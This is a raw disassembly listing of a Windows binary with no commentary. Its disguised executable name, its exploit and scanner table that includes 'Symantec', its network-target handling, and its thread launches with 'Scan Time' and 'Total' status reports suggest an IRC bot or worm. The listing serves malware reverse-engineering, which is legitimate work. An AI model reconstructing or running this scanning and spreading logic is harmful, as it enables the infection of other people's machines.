		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_40BA63:				; CODE XREF: sub_40B9E4+63j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		leave
		retn
sub_40B9E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BA72	proc near		; CODE XREF: sub_4019E7+159p
					; sub_40B7C1+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_45602C[eax], ecx
		mov	dword_456018[eax], ecx
		mov	dword_45601C[eax], ecx
		mov	dword_456020[eax], ecx
		mov	dword_456024[eax], ecx
		mov	dword_456028[eax], ecx
		mov	byte ptr dword_455E18[eax], cl
		mov	byte_456030[eax], cl
		retn
sub_40BA72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAAF	proc near		; CODE XREF: sub_401CC7+7F03p
					; sub_40BBDD+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40BAB9:				; CODE XREF: sub_40BAAF+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40BB19
		cmp	eax, 1
		jnz	short loc_40BB19
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40BB19
		cmp	cl, 2Ah
		jz	short loc_40BB00
		cmp	cl, 3Fh
		jz	short loc_40BAE3
		cmp	cl, 5Bh
		jz	short loc_40BAE8
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40BAE3:				; CODE XREF: sub_40BAAF+26j
		inc	[ebp+arg_4]
		jmp	short loc_40BB13
; ---------------------------------------------------------------------------

loc_40BAE8:				; CODE XREF: sub_40BAAF+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40BB45
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40BB13
; ---------------------------------------------------------------------------

loc_40BB00:				; CODE XREF: sub_40BAAF+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40BBDD
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40BB13:				; CODE XREF: sub_40BAAF+37j
					; sub_40BAAF+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40BAB9
; ---------------------------------------------------------------------------

loc_40BB19:				; CODE XREF: sub_40BAAF+Ej
					; sub_40BAAF+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40BB29
		cmp	eax, 1
		jnz	short loc_40BB40
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40BB19
; ---------------------------------------------------------------------------

loc_40BB29:				; CODE XREF: sub_40BAAF+6Dj
		cmp	eax, 1
		jnz	short loc_40BB40
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40BB40
		cmp	byte ptr [esi],	0
		jnz	short loc_40BB40
		push	1
		pop	eax
		jmp	short loc_40BB42
; ---------------------------------------------------------------------------

loc_40BB40:				; CODE XREF: sub_40BAAF+72j
					; sub_40BAAF+7Dj ...
		xor	eax, eax

loc_40BB42:				; CODE XREF: sub_40BAAF+8Fj
		pop	esi
		pop	ebp
		retn
sub_40BAAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB45	proc near		; CODE XREF: sub_40BAAF+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40BB66
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40BB66:				; CODE XREF: sub_40BB45+19j
		push	ebx
		push	esi

loc_40BB68:				; CODE XREF: sub_40BB45+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40BB76
		cmp	[ebp+var_4], eax
		jnz	short loc_40BBC2

loc_40BB76:				; CODE XREF: sub_40BB45+2Aj
		test	edi, edi
		jnz	short loc_40BBB7
		cmp	bl, 2Dh
		jnz	short loc_40BBAB
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40BBAB
		cmp	al, 5Dh
		jz	short loc_40BBAB
		cmp	[ebp+var_4], edi
		jnz	short loc_40BBAB
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40BBB7
		cmp	bl, al
		jg	short loc_40BBB7
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40BBB7
; ---------------------------------------------------------------------------

loc_40BBAB:				; CODE XREF: sub_40BB45+38j
					; sub_40BB45+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40BBB7
		push	1
		pop	edi

loc_40BBB7:				; CODE XREF: sub_40BB45+33j
					; sub_40BB45+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40BB68
; ---------------------------------------------------------------------------

loc_40BBC2:				; CODE XREF: sub_40BB45+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40BBCF
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40BBCF:				; CODE XREF: sub_40BB45+82j
		cmp	edi, eax
		jnz	short loc_40BBD8
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40BBD8:				; CODE XREF: sub_40BB45+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40BB45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BBDD	proc near		; CODE XREF: sub_40BAAF+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40BBF9:				; CODE XREF: sub_40BBDD+3Aj
		cmp	[eax], bl
		jz	short loc_40BC19
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40BC0E
		cmp	cl, 2Ah
		jnz	short loc_40BC19
		cmp	cl, 3Fh
		jnz	short loc_40BC11

loc_40BC0E:				; CODE XREF: sub_40BBDD+25j
		inc	eax
		mov	[edi], eax

loc_40BC11:				; CODE XREF: sub_40BBDD+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40BBF9
; ---------------------------------------------------------------------------

loc_40BC19:				; CODE XREF: sub_40BBDD+1Ej
					; sub_40BBDD+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40BC24
		inc	dword ptr [esi]
		jmp	short loc_40BC19
; ---------------------------------------------------------------------------

loc_40BC24:				; CODE XREF: sub_40BBDD+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40BC45
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40BC36
		xor	eax, eax
		jmp	short loc_40BCA5
; ---------------------------------------------------------------------------

loc_40BC36:				; CODE XREF: sub_40BBDD+53j
		cmp	cl, bl
		jnz	short loc_40BC45
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40BC45
		push	1
		pop	eax
		jmp	short loc_40BCA5
; ---------------------------------------------------------------------------

loc_40BC45:				; CODE XREF: sub_40BBDD+4Dj
					; sub_40BBDD+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40BAAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BC8F

loc_40BC53:				; CODE XREF: sub_40BBDD+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40BC57:				; CODE XREF: sub_40BBDD+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40BC6F
		cmp	cl, 5Bh
		jz	short loc_40BC6F
		cmp	dl, bl
		jz	short loc_40BC6F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40BC57
; ---------------------------------------------------------------------------

loc_40BC6F:				; CODE XREF: sub_40BBDD+82j
					; sub_40BBDD+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40BC86
		push	eax
		push	dword ptr [esi]
		call	sub_40BAAF
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40BC8B
; ---------------------------------------------------------------------------

loc_40BC86:				; CODE XREF: sub_40BBDD+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40BC8B:				; CODE XREF: sub_40BBDD+A7j
		cmp	eax, ebx
		jnz	short loc_40BC53

loc_40BC8F:				; CODE XREF: sub_40BBDD+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40BCA2
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40BCA2
		mov	[ebp+var_4], 1

loc_40BCA2:				; CODE XREF: sub_40BBDD+B6j
					; sub_40BBDD+BCj
		mov	eax, [ebp+var_4]

loc_40BCA5:				; CODE XREF: sub_40BBDD+57j
					; sub_40BBDD+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BBDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BCAA(int,char *Str,int)

sub_40BCAA	proc near		; CODE XREF: sub_401CC7+2AE6p

Source		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+Dest]
		push	offset asc_4485BC ; "-"
		push	eax		; Dest
		xor	ebx, ebx
		call	_sprintf
		cmp	dword_448220, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40BD1C
		push	esi
		mov	esi, offset dword_448228

loc_40BCDD:				; CODE XREF: sub_40BCAA+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40BD12
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4485DC ; " "
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		add	esp, 1Ch

loc_40BD12:				; CODE XREF: sub_40BCAA+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40BCDD
		pop	esi

loc_40BD1C:				; CODE XREF: sub_40BCAA+2Bj
		push	dword_4E2E1C
		call	sub_41B76F
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+Source]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40BCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BD79(int,char *Str,int)

sub_40BD79	proc near		; CODE XREF: sub_401CC7+2AD0p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4E5C18
		mov	ecx, dword_4E5C14
		push	esi
		push	dword_4E2E1C
		lea	esi, [ecx+eax]
		call	sub_41B76F
		pop	ecx
		push	eax
		push	esi
		push	dword_4E5C18
		lea	eax, [ebp+Dest]
		push	dword_4E5C14
		push	offset asc_4485FC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40BD79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BDE5(int,char *Str,int)

sub_40BDE5	proc near		; CODE XREF: sub_401CC7+2ABAp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4E2E1C
		call	sub_41B76F
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	dword_4E5E74
		push	offset asc_448644 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 28h
		leave
		retn
sub_40BDE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BE3A(int,char *Str,int)

sub_40BE3A	proc near		; CODE XREF: sub_401CC7+2AA4p

Source		= byte ptr -1000h
Dest		= byte ptr -800h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	__alloca_probe
		push	edi
		lea	eax, [ebp+Dest]
		push	offset asc_448670 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	dword_448220, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BEA6
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40BE6F:				; CODE XREF: sub_40BE3A+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+Source]
		push	offset asc_44868C ; " "
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BE6F
		pop	esi

loc_40BEA6:				; CODE XREF: sub_40BE3A+2Dj
		push	dword_4E2E1C
		call	sub_41B76F
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BE3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF01	proc near		; DATA XREF: sub_401CC7+30DAo

Dest		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
Format		= byte ptr -134h
Str		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+Format]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+Format]
		push	eax
		call	dword_4E3138	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_448220, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40C063
		mov	ebx, offset dword_448220
		mov	eax, ebx

loc_40BF52:				; CODE XREF: sub_40BF01+15Cj
		push	[ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_8]
		call	sub_40C6E7
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40C053
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp+Format]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4486AC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_24]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 2Ch
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+var_1EC]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_15C]
		pop	ecx
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_A4], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_A4]
		jnz	short loc_40BFEE
		lea	eax, [ebp+Str]

loc_40BFEE:				; CODE XREF: sub_40BF01+E5j
		push	eax		; Format
		lea	eax, [ebp+var_1DC]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi

loc_40C053:				; CODE XREF: sub_40BF01+64j
		inc	[ebp+arg_0]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BF52

loc_40C063:				; CODE XREF: sub_40BF01+44j
		push	[ebp+var_4]
		lea	eax, [ebp+Format]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4486DC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_24]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_18]
		call	sub_40BA72
		add	esp, 2Ch
		push	edi
		call	ds:dword_4F53A0	; ExitThread
sub_40BF01	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40C0B6(int,char *Str,int,int)

sub_40C0B6	proc near		; CODE XREF: sub_401CC7+243Fp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jle	short loc_40C0F2
		mov	eax, [ebp+arg_C]
		push	dword_4E3258[eax*8]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_448710 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_40C105
; ---------------------------------------------------------------------------

loc_40C0F2:				; CODE XREF: sub_40C0B6+13j
		lea	eax, [ebp+Dest]
		push	offset asc_44872C ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_40C105:				; CODE XREF: sub_40C0B6+3Aj
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 18h
		leave
		retn
sub_40C0B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40C12D(int,int,int,int,char Format,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_40C12D	proc near		; CODE XREF: sub_40CB69+4Fp

var_210		= dword	ptr -210h
Source		= byte ptr -204h
var_4		= byte ptr -4
Format		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C5FF
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_44822C[eax], ebx
		jz	loc_40C5FF
		push	5
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jnz	loc_40C3B4
		mov	eax, dword_43F078
		push	edi
		mov	esi, offset dword_4E5314
		push	104h
		push	esi
		push	ebx
		mov	dword_4E5524, eax
		mov	dword_4E5520, ebx
		call	ds:dword_4F5344	; GetModuleFileNameA
		mov	edi, offset Str	; "nlzhxmpyrjsyle.exe"
		push	103h		; Count
		push	edi		; Source
		push	offset byte_4E5418 ; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4E5310, eax
		mov	eax, [ebp+arg_138]
		push	7Fh		; Count
		mov	dword_4E55A8, eax
		jnz	short loc_40C1E0
		lea	eax, [ebp+Format]
		push	eax		; Source
		push	offset byte_4E5528 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E55AC, 1
		jmp	short loc_40C1FA
; ---------------------------------------------------------------------------

loc_40C1E0:				; CODE XREF: sub_40C12D+94j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4E5528 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E55AC, ebx

loc_40C1FA:				; CODE XREF: sub_40C12D+B1j
		push	esi
		lea	eax, [ebp+Source]
		push	dword_4E5524
		push	offset asc_44874C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	5		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 1Ch
		mov	dword_4E551C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E5310
		push	offset sub_412217
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, dword_4E551C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_40C268

loc_40C256:				; CODE XREF: sub_40C12D+139j
		cmp	dword_4E55B0, ebx
		jnz	short loc_40C283
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_40C256
; ---------------------------------------------------------------------------

loc_40C268:				; CODE XREF: sub_40C12D+127j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_448780 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_40C283:				; CODE XREF: sub_40C12D+12Fj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		mov	eax, dword_4E2E18
		mov	esi, offset dword_4E55BC
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4E57CC, eax
		mov	dword_4E57C8, ebx
		call	ds:dword_4F5344	; GetModuleFileNameA
		push	103h		; Count
		push	edi		; Source
		push	offset byte_4E56C0 ; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4E55B8, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4E5850, eax
		push	7Fh		; Count
		jnz	short loc_40C304
		lea	eax, [ebp+Format]
		push	eax		; Source
		push	offset byte_4E57D0 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E5854, 1
		jmp	short loc_40C31E
; ---------------------------------------------------------------------------

loc_40C304:				; CODE XREF: sub_40C12D+1B8j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4E57D0 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E5854, ebx

loc_40C31E:				; CODE XREF: sub_40C12D+1D5j
		push	esi
		lea	eax, [ebp+Source]
		push	dword_4E57CC
		push	offset asc_4487B4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	4		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 1Ch
		mov	dword_4E57C4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E55B8
		push	offset sub_40F402
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, dword_4E57C4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_40C38C

loc_40C37A:				; CODE XREF: sub_40C12D+25Dj
		cmp	dword_4E5858, ebx
		jnz	short loc_40C3A7
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_40C37A
; ---------------------------------------------------------------------------

loc_40C38C:				; CODE XREF: sub_40C12D+24Bj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4487E8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_40C3A7:				; CODE XREF: sub_40C12D+253j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		pop	ecx

loc_40C3B4:				; CODE XREF: sub_40C12D+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_448234[ecx], ebx
		jz	loc_40C4DD
		push	7
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jnz	loc_40C4D7
		mov	eax, dword_4E5E6C
		cmp	[ebp+arg_90], bl
		mov	dword_4E527C, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4E5270, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4E5278, ebx
		mov	dword_4E5300, eax
		push	7Fh		; Count
		jnz	short loc_40C428
		lea	eax, [ebp+Format]
		push	eax		; Source
		push	offset byte_4E5280 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E5304, 1
		jmp	short loc_40C442
; ---------------------------------------------------------------------------

loc_40C428:				; CODE XREF: sub_40C12D+2DCj
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4E5280 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E5304, ebx

loc_40C442:				; CODE XREF: sub_40C12D+2F9j
		push	dword_4E527C
		lea	eax, [ebp+Source]
		push	offset asc_44881C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	7		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 18h
		mov	dword_4E5274, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E5270
		push	offset sub_40F160
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, dword_4E5274
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_40C4AF

loc_40C49D:				; CODE XREF: sub_40C12D+380j
		cmp	dword_4E5308, ebx
		jnz	short loc_40C4CA
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_40C49D
; ---------------------------------------------------------------------------

loc_40C4AF:				; CODE XREF: sub_40C12D+36Ej
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44884C ; "-"
		push	eax		; Dest
		call	_sprintf
